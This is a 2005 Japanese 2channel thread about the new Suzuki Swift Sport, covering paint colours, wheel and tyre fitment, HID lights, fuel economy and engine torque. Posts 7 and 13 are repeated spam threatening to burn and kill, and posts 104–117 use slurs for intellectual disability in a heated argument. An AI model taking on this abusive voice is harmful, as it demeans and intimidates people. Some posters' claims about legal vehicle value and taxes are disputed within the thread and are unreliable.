【スズキ】New スイフトスポーツ Part5

1 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 03:02:42 ID:B4xB74eq0

■前スレ：http://hobby7.2ch.net/test/read.cgi/auto/1126351572/

■公式サイト：http://www.suzuki.co.jp/dom4/lineup/swiftsport/
■SUZUKI SPORT：http://www.suzukisport.com/

2 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 03:03:41 ID:B4xB74eq0

過去スレ

【スズキ】新型スイフトスポーツ Part1
http://hobby7.2ch.net/test/read.cgi/auto/1119680355/
【スズキ】新型スイフトスポーツ Part2
http://hobby7.2ch.net/test/read.cgi/auto/1122632974/
【スズキ】新型スイフトスポーツ Part3
http://hobby7.2ch.net/test/read.cgi/auto/1125156133/

3 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 03:04:08 ID:JdSB+3Ur0

3ゲット

4 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 03:22:53 ID:4vS7CVGX0

>>1
乙　オーディオ迷う

5 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 04:07:57 ID:1pYCX8/V0

前スレでボディカラー質問したものです。
やはりグレーが汚れ目立ちませぬか。
ではあとはホイール色とのバランスで決めたいと思います。
どこか試乗車置いてないかなあ。
四国に来るのはまだ先か。

6 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 04:49:57 ID:9dAGs2Ev0

スイフトのアルーズグレーは存在感ありますよね。
シルバーより暗くスイフトのボディーラインの面がよく見えて
他社とは違うという主張がいいと思うですが。

7 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 04:55:20 ID:dRocrooJ0

市ね糞車、燃やしてやる
市ね糞車、燃やしてやる
市ね糞車、燃やしてやる
市ね糞車、燃やしてやる
市ね糞車、燃やしてやる
市ね糞車、燃やしてやる
市ね糞車、燃やしてやる
市ね糞車、燃やしてやる
市ね糞車、燃やしてやる

8 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 05:05:17 ID:1pYCX8/V0

>>6
最初は「なんでシルバー無いんだよ」とか思ったけどね。
とりあえず購入は来年なのでそれまで悩む、か。

9 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 05:41:19 ID:BBt1sRNX0

「シルバー！シルバー！」って言ってんのは
一部のお年寄りの意見ですよね？

10 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 06:26:46 ID:5robU0nJ0

黄色しか考えられません。

11 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 06:35:39 ID:1pYCX8/V0

>>10
スズキの知り合いからは黄色とペインティング勧められたけど丁重に断ったよ。

12 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 06:46:19 ID:/oKCdcuj0

知っている人教えて！
�@純正ホイールは6.5Ｊ×16ｵﾌｾｯﾄ+45？
�Aスタッドレスは15インチ入りますか？

よろしく

13 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 06:55:42 ID:dRocrooJ0

市ね糞車、殺す
市ね糞車、殺す
市ね糞車、殺す
市ね糞車、殺す
市ね糞車、殺す
市ね糞車、殺す
市ね糞車、殺す
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市ね糞車、殺す

14 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 07:12:21 ID:1pYCX8/V0

>>12
ttp://www.suzukisport.com/car/new_swiftsport/qa.html

>16×6J +50mm
だってさ。

15 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 07:55:53 ID:W9lCqOxuO

黒は汚れ目立つけど、時がたってつくような落ちにくい汚れはかえって目立たないのでそのへんのスタンドの洗車いけばぴっかぴかに見えるぉ

16 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 08:11:08 ID:Zb/9FG4k0

リセールバリューを考えるならパールホワイト。
スポーティーカーはこの色が無難かも。個性有る車は最初赤とか黄色が売れるけど
時間が経ち見慣れてくると派手な色は敬遠されて
スポーティカーでも無難な白の人気が出てくる。この車が欲しくても
新車で買えなかった人とかが中古車買うとき、市場には最初に売れた赤、青や黄色
ばかり有って白のタマ数が少ないので余計に人気が出る。また、中古市場に白がたくさん出回ったとしても
見飽きない白は安定した人気色。
迷ったら白や黒のモノトーンを選ぶと良いかも。

グレーは微妙。新車時は車の目新しさを抑える色で、なんか雰囲気あるじゃん、みたいに思うけど、
車自体に新鮮みが無くなると一気に古さが出てくるかも。ターセルの紺色みたいな扱いになる。

でも、グレーの展示車みたら、これもアリだなとおもた。

17 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 08:24:08 ID:/oKCdcuj0

俺は青買おう。EG6もデミスポも青買ったし。

18 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 08:26:21 ID:/oKCdcuj0

＞14
乙！
6Ｊか〜、
売ってるﾎｲｰﾙ7Ｊしかないよ〜。

19 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 08:53:36 ID:Nbi8oBQM0

これの16in/7J/5-114.3/OFFSET43純正タイヤに履かせたいけど無理かな？
http://www.enkei.co.jp/p_detail_sc03.html

20 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 09:12:22 ID:dRb+T6C00

>>19
真ん中にＳマーク？

21 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 09:28:25 ID:loSpBXdY0

俺も青にしようかと思ってるんだが、シートが赤と言う点で悩んでる。
自分が思ってるより目立たないってことはわかってるんだが…

22 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 09:29:41 ID:loSpBXdY0

すまんageちまった

23 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 09:30:00 ID:t+nEEUdq0

シート赤、最高！

24 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 09:44:59 ID:uZfizmWn0

OPのレカロが
先代のスイスポみたく
なんちゃってレカロかもしれないし、
案外ちゃっちぃかもしれないので
ドノーマル+社外HIDでしばらく過ごして
あとでレカロを考えた方が無難かもしんない。

25 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 10:02:03 ID:snJE8OXa0

>>19
サイズ的には楽勝でしょう。

26 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 10:04:34 ID:Jm+UeHfH0

>>20
エンケイのCIマーク

27 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 10:07:00 ID:Wdf4Tg260

>19
カタログ見てて思ったんだけど、7J+43あたりはフロントあまりそうだよね
リアはギリくらい？

28 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 11:49:06 ID:Cg/yL4MJ0

＞なんちゃってレカロかもしれない
軽ススキは体重制限があるみたいだな。

29 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 12:14:22 ID:kU1XVndC0

>>19、27
とりあえず標準車オナしかいないだろうけど色々履いてる某ＨＰを覗いてみれば？

10〜
黄色の弱点は、虫の飛ぶ時期に山に行くと習性で激しく寄ってくる

30 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 12:15:11 ID:Cg/yL4MJ0

＞黄色の弱点
カラスにつつかれるみたいだな。

31 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 12:43:29 ID:NgeVwAdT0

スイスポ本、ｱﾏｿﾞｿから発送メールｷﾀ━(ﾟ∀ﾟ)━!!
無事届きそうです

32 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 13:08:55 ID:L1j4BSIC0

>>14
オフセが＋５０ってのが愛だな（ｗ

33 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 13:19:48 ID:uZiA3Pt90

＞24
あのレカロはサイドエアバック内臓だから、たぶん後に簡単には変えられないよね。
それに青買うつもりなので、シートの赤面積大きくなってウザイし、
HIDは雪国の俺には冬ヘッドライトについた氷解けないから(ﾟ�听)ｲﾗﾈ
バルブ換えれば同じくらいの光量出るし。

セットオプション不要！

34 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 14:56:54 ID:fwxBoqYQ0

HIDって全く解けないの？

35 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 15:23:05 ID:vTZzXxHt0

>>15
クロは傷が目立つ。磨き傷とかがね.
洗車機なんか入れつづけてたら､そのうちクロが
くすんじゃうよ。しっかりボディのメンテが出来ないなら､
クロはお勧めしない。展示車や試乗車に黒が少ないのもそのせいだから。

36 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 15:45:45 ID:/bR9T+MP0

洗車機使ってる人って、ここでいるの？
思い入れがないんだねぇ。

37 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 15:49:30 ID:ZS6KAZmQ0

２回に一回は、洗車機だけど何か？（爆

38 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 16:10:28 ID:4Q8HUdVP0

洗車なんてしませんが何か？（ゎ

つか、新スイスポファンサイトはアレゲな気がしてきた

39 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 16:32:23 ID:LngH1piv0

>>36
この前、嫁さんの新車のミニバンを、洗車機に入れました。
最近のは布ブラシだし、全く傷が付かなかったですよ。
歳取ると、洗車の時間が勿体なくて、ほとんどの場合洗車機ですね。
皮肉ではなく、若いって羨ましい・・・。

と言いながら、スイスポ欲しいのですが、さすがに黄色は回りの視線が痛そう。
無難な線は黒だけど、この前見た赤も良かったなあ。
とりあえずＭＴ待ちですが。

40 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 17:04:11 ID:JcPJyQHeO

ノーマルシートの赤は座れば自分も外からも黒シートにしか見えないからあまり気にならんな。

41 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 17:31:09 ID:b4d7jE2qO

↑↑↑

(`･ω･´) そうだそうだ!

42 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 17:46:18 ID:c0kiZKoU0

赤ってカタログではオレンジっぽくみえるんだけど実際どう？
特に黄色の後ろに写ってるやつ。

43 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 18:21:43 ID:D0dFKAHi0

>>34
融けない。まったく融けない。
レンズ面の角度とバンパーの形状次第では、
街乗りくらいの速度域だと走行中でもレンズ前に
雪積もって、だんだん暗くなってくる。

44 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 19:12:23 ID:3h6gx7BZ0

>>42
パールの入った綺麗な赤だったよ。
言うほどオレンジっぽくもないと思う。
となりにワゴンRの赤があったけど、それよりもパールのつやが明るい感じかも。
わかりにくくてスマソ。

45 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 19:42:29 ID:9dAGs2Ev0

>>16
>リセールバリューを考えるならパールホワイト。
リセールバリューを気にして車を買うの、せこくない、気に入った色を買えば。
白が売れるのは、日本だけだよ。
愛着をもって７年乗れば法定査定０だから。
ソアラが由々しき弊害を残したピュアーホワイト系。
ピュアーホワイト系のコンパクトカーはあっさり（営業車に）見えて
白はスイフトのなめらな面のデザインをぶち壊しと思う。
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣

46 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 20:22:36 ID:fKHbfssT0

「リセール気にするな、せこい、気に入った色買え」 とか言いつつ白非難、
「法定査定0」とかいい加減な事言い杉、買取り額は法規で定められてはいない。

16のリセール決め付けもどうかと思うが、45は書いてる事が矛盾だらけ

47 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 20:36:54 ID:y9oHj5qP0

新型の黄色は強烈すぎん？
なんか明るすぎというか　なんつーかね〜

48 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 20:58:31 ID:ICCiRR7T0

なら買わなければいいだけだろうに。

49 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:03:04 ID:lCmoByTKO

250万円台ならまだ分かるけど
160〜180万円台のクルマで
リセールって・・・。

50 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:09:10 ID:W+4RTDfe0

タイヤの銘柄は結局何だったんでしょう？＞試乗した人

51 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:15:13 ID:/pAW/Oyz0

売る事なんか気にしないしグレーにしようかな。

52 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:16:47 ID:snJE8OXa0

俺はZ33のオレンジ色が好みなんだがなw
しかし標準タイヤの195/50-16インチってサイズ
コンフォート系では出ているが、ハイグリップ系ではラインナップが無いな。

53 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:22:50 ID:/pAW/Oyz0

この車だったらDNA GPとかで十分じゃないか？
サーキット走行は知らんが。

54 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:23:14 ID:Ba3tl7yl0

>>50
SPSPort２０５０とか聞いたが…
MINIとかと同じ？

55 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:25:25 ID:9dAGs2Ev0

>「法定査定0」とかいい加減な事言い杉、買取り額は法規で定められてはいない。
車は動産だから、法律上の価値は６年、だから７年以上たったら、
価値は０なんだけど、あとはその車の人気によるもの。

だから取得税は登録６年以上の車は税法上の価値はないので、
５年以前の車にしかかからないの。

自動車取得税とは、自動車の取得に対してかかる税金ですが、
新車登録時からの年数が５年以内の場合のみに課税されます。
なお、金額は新車価格と決められた減価償却率によって計算されます。
ただし、取得額が５０万円以下は免税となります。

56 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 21:33:42 ID:9dAGs2Ev0

×法定査定０
○法定価値０

57 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:10:13 ID:3fC/JOwe0

下部の黒が引き立つ色のがやっぱカッコいいなあ･･･。
青い車とバイクを乗り継いできたけど黄色か白になりそう。
黒の部分がシルバーとかボディと同色だったりしたら青でもいいんだけどな。

58 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:25:13 ID:3h6gx7BZ0

なんか法律とか難しい話になってきたみたいだな。
個人的には素のスイフトの白は社用車ちっくで苦手だけど、
スポーツの白は実際見ると案外いけてる気がしたけどなあ。

>>57
黒の部分を覆うようなエアロパーツがスズスポカタログに載ってたと思うよ。
俺はそれつけて青を買うつもり。
でもちょっと赤も悪くないなと浮気気味。

59 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:32:06 ID:5robU0nJ0

紺青白のスズキカラーもあるとええのになぁ。
GSX-R1000みたいな色。

60 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:37:16 ID:Zb/9FG4k0

色決めるの難しいですね。
白、営業車みたいって家族にも言われました（ｗ

私も前車に赤や青を乗り継いできましたが、昔ほど車に特別なものを感じなくなってきて・・・もちろん興味が無くなったわけではないけど、
「欲しい」と思った熱い思いを持ちつつも何年か先のことも同時に考えるようになってきました（３０台悲ｽ）。
前車も買った当時は１０年乗るぞと意気込んでいたけど結局買い換えに・・・。飽きっぽいんでしょうね。
歳を重ねると、限界を見たいという無茶な走り→スポーティな感覚を楽しむ、脂っこい肉食→あっさり系、色っぽい女→健康的な女、
というように好みが変わってきました。車もビビットな赤や青よりもっとプレーンな色を好む様になりました。
若い兄ちゃん達には赤青黄が人気あるし、年齢、思い入れの大きさによっても色選びは異なってくるのは当然ですね。

あまり考えずに>>16レスしましたがもう少し気を付けるべきでしたね。

私は白とグレーで悩んでいますが、この時間が一番楽しいね。展示車のグレー見て心揺らいでます。

61 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:37:20 ID:SoUOO2gl0

>>45ではリセールを偽法規に結び付け語ってたくせに>>55では税に論点すりかえ・・・


9dAGs2Ev0この人大丈夫か？

62 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:40:44 ID:3fC/JOwe0

>>58
赤も下部の黒合うからいいね。

俺はここでは不評だけどスポーツ顔、というかVW顔ｗが好きだから、
なるべくあのままでいきたい･･･うーん黄色か。つか黄色カッコイイ
んだけど、ﾌﾟｷﾞｬｰされそうだｗ

黄色で白の5本スポークホイールとか履いたらとか、
青で白5本か金メッシュホイールとか、脳内妄想中。
どっちにしろﾌﾟｷﾞｬｰの対象ですね･･･。

63 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:42:36 ID:3fC/JOwe0

やばい黒とかガンメタもいいな。
BBS金メッシュとかやったらヤバイなこれは。
うーん。チラシスマソｗ

64 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:43:05 ID:uZiA3Pt90

白は華が無いからヤダ。
タイプＲ買ったときは白にしたけど。

黄色がイイと思うけど（今は初代の黄色糊）
目立ち杉で身内に行動がバレバレだからな〜。青予定

65 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:43:39 ID:aYkkbg2F0

>>59
　ガンダムカラーだな。

66 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 22:59:18 ID:aECxVc9i0

>>62
外野なんて気にしない。
ﾌﾟｷﾞｬｰされるよりも、好きな車が選べない事の方が
よっぽど辛いぜ！俺も黄色は候補だ〜

67 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:05:54 ID:aYkkbg2F0

GSXR-4カラーのスイスポなんて渋くていいと思う。

68 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:17:18 ID:CHq4zeFd0

スイスポに隼プロトタイプみたいに隼のエンジン積んだら(*´д｀*)ﾊｧﾊｧ

69 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:20:56 ID:Y3j77Gro0

スイフトにホンダのエンジン積んだら買うのにｗ

70 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:21:04 ID:pdCoiJw/0

>>50
DUNLOP SP-SPORT MAXX
ただしトレッドデザインが市販のものとは違う専用品。
市販にはこのサイズなかったと思うんだけど、、、
このサイズって市販タイヤだと選択肢が少なすぎるよ。
DNA S.driveくらいかなぁ、、、、、、

タイヤの選択肢を増やすとしてホイール変えるとしたらどのサイズがいいのかな？
7J*17のオフセット47位かなぁと思ってるんだけど。
意見求む。

71 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:30:54 ID:kR1jtAMf0

>>68
1トン以上もある車重の車にそんなエンジン積んだってまともに走れそうに無いが。

72 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:36:26 ID:3h6gx7BZ0

>>68
息切れでﾊｧﾊｧ…？

73 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:38:33 ID:SoUOO2gl0

>>50
http://hobby7.2ch.net/test/read.cgi/auto/1126351572/718
718 ：名無しさん＠そうだドライブへ行こう ：2005/09/16(金) 21:10:07 ID:STrq6cHK0
>>559
MAXX。センター部少し違ったりショルダーの縦溝が無かったり、市販版とは少し違う。

74 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:45:53 ID:CHELz3uh0

>>65
どこが？

75 名前：名無しさん＠そうだドライブへ行こう：2005/09/19(月) 23:48:56 ID:QPocKYkL0

がんだむー　どむんどむん

76 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 00:02:32 ID:CHELz3uh0

なにその駄菓子屋とかデパートの屋上にあるコインゲームの開始音

77 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 00:33:08 ID:4uGrYRGR0

トルク無さ過ぎ
マーチの1.5Ｌ（レギュラー仕様）と同じトルク
何を考えてるんだ鈴木さんは
しかも燃費も悪い

78 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 00:36:15 ID:qIzVcZQj0

本田のエンジンじゃないんだから他に期待すべし

79 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 00:42:05 ID:J7GxJQh60

>>75-76
ワロタ

>>77
スズキさんに燃費を求める事自体がどうかｔ(ry

80 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 00:54:10 ID:xmBqcRzw0

どうせ燃費が悪いなら2000ccにするとかターボにするとかにして欲しかった、
なんだかんだ言っても数字上のインパクトが無いとだめだよ。

81 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 00:58:17 ID:i83CYnh30

ホンダのエンジン積んでくれ

82 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:04:20 ID:4uGrYRGR0

メーカーＯＰにしなくてもHIDを付ける事が出来るのでは？
ＤラーにHIDを単体で注文して付けて貰うことが化膿かな。
伊藤家の裏技にならんかな。

83 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:10:03 ID:OKRJ1sow0

スズキだからって別に燃費は悪くないんじゃないか
旧ｽﾎﾟだってカタログ16km/Lで、街糊でも13、長距離だと18近くまでいくしな

84 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:15:48 ID:oOm2t65T0

>>77
排気量がほぼ同じだしどっちもNAなんだから

トルクがほぼ同じなのは当たり前なんじゃ・・・

85 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:27:22 ID:J7GxJQh60

>>83
あ、Qスポって結構燃費いいんだね。裏山。
そんな俺はアルトワークスだけど平均燃費12…

てゆーかさっきから本田本田って言ってる人がいるけど本田車を買えば解決することでは。。

86 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:43:36 ID:FQe2tmD+0

燃費の件はファイナル変更も影響してる、その分中低速のﾜｲﾝﾃﾞｨﾝｸﾞ(MT)は楽しそう

標準車スレより転載
新型　タイヤ外径195/50-16：601�_・5速・3311回転で100�`
旧型　タイヤ外径185/55-15：586�_・5速・3162回転で100�`

87 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:45:15 ID:G3yK1HZD0

ンダ車（ＥＫシビVTi）海苔だが
正直、この外見でＢ１６Ｂもしくは同等レベルのｴﾝｼﾞｿ載っけてくれれば即決なんだが（;´Д｀）

重量＝(1010→1010)
排気量↑(1500→1600)
馬力↓(130→125)
燃費↓↓(カタログ値18.6→14,6)
維持費↓(レギュラー→ハイオク、他税金）
だとどうしても二の足ふんじまうな
いまのンダはただのミニバンメーカーだし、
このままじゃ松田さん当たりに俺流れちゃいますよ鈴木さん（;´Д｀）あとンダもな|ﾟ∀ﾟ)ﾉ

88 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:52:55 ID:XO11OPGa0

普通のスイフトが他社同クラスの車と比べて燃費があんまり良くないからな。
スイスポはそこから更にローギヤになってるんだから期待出来ないよな。
軽みたいな車体の旧スイスポのデータｰは正直参考にならんし。

89 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 01:58:08 ID:yAHSFa3Y0

本田本田って言ってる人間は、リッター100馬力以上ないと満足しないんでしょうな。
力強いエンジン欲しいならインプかランエボでも買えばって思うけどね。

90 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 02:16:58 ID:FQe2tmD+0

>>87
EKシビＲよりVTi・MTの方が今でも魅力的、もうそんなん出ない鴨しれんから大事に汁。
(AT？MT重量税1t切り？)

91 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 02:21:16 ID:/kin3OjD0

age

92 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 02:58:12 ID:Kj31hDzq0

>>60
自分もその色で悩んでる。
スイスポのグレーはノーマルスイフトのと同じですかね？

93 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 08:47:01 ID:c2PbSZR80

>>80
>2000ccにするとかターボにするとかにして欲しかった
　ランエボ、インプがあるじゃん。文句あるならそっち買え。

94 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 09:26:06 ID:dfTuw2YD0

黄色が特に目立つのは
明るさもあるけど、
黄色と黒が相対色だからだよ。
工事現場とか危険とかのと一緒の。
似たような相対色は赤と緑とか、青とオレンジ…。
こいつらの組み合わせは目立つ為にある。
赤と緑のツートンなんざしようもんなら
毒ヘビカラーだよ。

95 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 09:59:44 ID:UzhNKrNl0

おまえがクリスマスに縁が無いモテない君だってのはわかったけど

96 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 10:24:08 ID:WJKmIr+J0

　この車、なかなか良さそうなんだが、以下が気になりました。

燃料タンク容量(L)　43
使用燃料　無鉛プレミアムガソリン

　実用車じゃないのかよ、オイ！

97 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 10:42:32 ID:zI4E0uac0

どうみても実用車じゃん

98 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 11:06:09 ID:y1xIuHFy0

>>87
VTiのB16Bはパワーと燃費を両立したいいエンジンだよ。
弟がまだVTiに乗ってるが、俺が以前乗ってたホンダ・ロゴより重くて速いくせに
燃費が変わらなかったからな。
確かに新スイスポがシビックよりパワーが下がって燃費が悪くなるのはマイナスだよな。

99 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 11:14:22 ID:4uGrYRGR0

何の為にピストンやらインマニなど特殊な高価な技術を投入しているのだろう？
あの程度のスペックなら普通に1.5Ｌエンジンをボアアップしたレギュラー仕様でも出せるだろう
エンジンだけノーマルの1.5Ｌを搭載したモデルを出して欲しい。

100 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 11:19:13 ID:dmPyGuDT0

>>99
普通のスイフトでいいじゃん。
文句言いたいだけのｱﾌｫか？

101 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 11:23:09 ID:wTnETLdI0

その後、比較として1.3のMTに乗せてもらう。
事前に営業さんから言われていた通り、比較にならないほど
加速感が有りません。
（それほど、Newスイフトスポーツの方が良かったんですね）


http://carlife.carview.co.jp/User.asp?UserDiaryID=613128

102 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 11:26:18 ID:6G8vXDKX0

>99
ボアが1.3と同じなので相当無茶やってるのではないかと（素人予想）
1.5で旧より高回転とやりたかった案もあったのかもしれないが、恐らく1.6が優先された
ま、低速トルクは稼げたんだろうけど...

予想されるクレーム
・オイルの減りが早い

103 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 11:45:37 ID:VfHs98b70

オイルの減りなんて、せめて５０００キロで変えてりゃ多少減っても関係ないよ。
俺のジェベルなんて１０００キロで３００ｃｃも…。

104 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:15:01 ID:lvyVy8Km0

＞ボアが1.3と同じなので相当無茶やってるのではないかと（素人予想）

たかだか300cc差で相当無茶かよｗ
素人ちゅうより、ただの知障だな。

排気量ごとに専用設計の専用エンジンを用意しろと？ｗｗ

105 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:20:33 ID:3BCwnc9I0

>>102
妄想炸裂だね

106 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:22:32 ID:6G8vXDKX0

なら99に詳しく説明してやってくれ

スズキが専用エンジン設計（特にボアアップ）するなんて思ってもいないよ
逆に300cc稼ぐのに必死だったと思ってるくらいだよ

107 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:26:26 ID:6G8vXDKX0

105もよろしくな
あと30分は見てるから

108 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:31:08 ID:eGidAE2k0

そりゃあパワーはあったに越したことはないのだろうけど…
プジョー３０６Ｘｓｉ（2000cc　120ps)→トルネオＳＩＲ−Ｔ（2000cc　200ps)
と乗り換えた俺の感想としては全開で5000rpm以上回してればトルネオの方が速いけど
街中のゴーストップではプジョーの方がパンチがあった
今度のスイスポはそっち方向でチューニングされてるって事では

109 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:31:32 ID:lvyVy8Km0

>>106
300cc稼ぐのに「ピストンやらインマニなど特殊な高価な技術」を投入しなければ耐久性が確保出来ないのならば
それらの技術を投入してないスタンダードなM16Aはどうなるんですか？
強気な知障くんへｗ
http://www.globalsuzuki.com/automobile/liana/spec.html

110 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:34:06 ID:6G8vXDKX0

許容回転数は同じなの？

111 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:35:11 ID:lvyVy8Km0

ほら論点はぐらかしてきたｗ

112 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:36:58 ID:lvyVy8Km0

輸出用にノーマルなM16Aが存在してる事を知らずに恥ずかしい奴ｗ

113 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:37:34 ID:lFHZF+tm0

>>99
>あの程度のスペックなら

ここがポイント。どの程度のスペックだい？
最高出力／トルクを見ただけなんじゃないの？
ヒント：
例えば6000回転で最高出力300馬力、あとの回転数では10馬力以下っていい車？

114 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:40:09 ID:6G8vXDKX0

ID:lvyVy8Km0
それで終わりなのか？

115 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:45:37 ID:lvyVy8Km0

ちなみに旧スイスポは
1.500ccで115ps／6400rpm、14.6kgm／4100rpmねｗ

>ボアが1.3と同じなので相当無茶やってるのではないかと（素人予想）
>1.5で旧より高回転とやりたかった案もあったのかもしれないが、恐らく1.6が優先された
>ま、低速トルクは稼げたんだろうけど...

が、まったく根拠の無い池沼の思い込みなのが分かりますねｗ

116 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:47:53 ID:6G8vXDKX0

>115
意味がわからん
カタログスペック調べて来いなんて言ってない
99の疑問にお前の考え語ってくれ

117 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:48:04 ID:lvyVy8Km0

ID:6G8vXDKX0

>>106　逆に300cc稼ぐのに必死だったと思ってるくらいだよ

さあ、どう必死なのか言ってみｗ

118 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 12:55:36 ID:4uGrYRGR0

≫113

排気量とトルクの関係を他車を見て比較してみたら？
レギュラー仕様でも1.6Ｌクラスなら16kg･mは普通にある

意図的にトルクを下げてるか技術がないかのどちらかだろう

119 名前：名無しさん＠そうだドライブへ行こう：2005/09/20(火) 13:00:46 ID:lvyVy8Km0

ちなみにノーマルなM15Aと旧スイスポのM15Aはまったくフィーリングは別物だけどね。
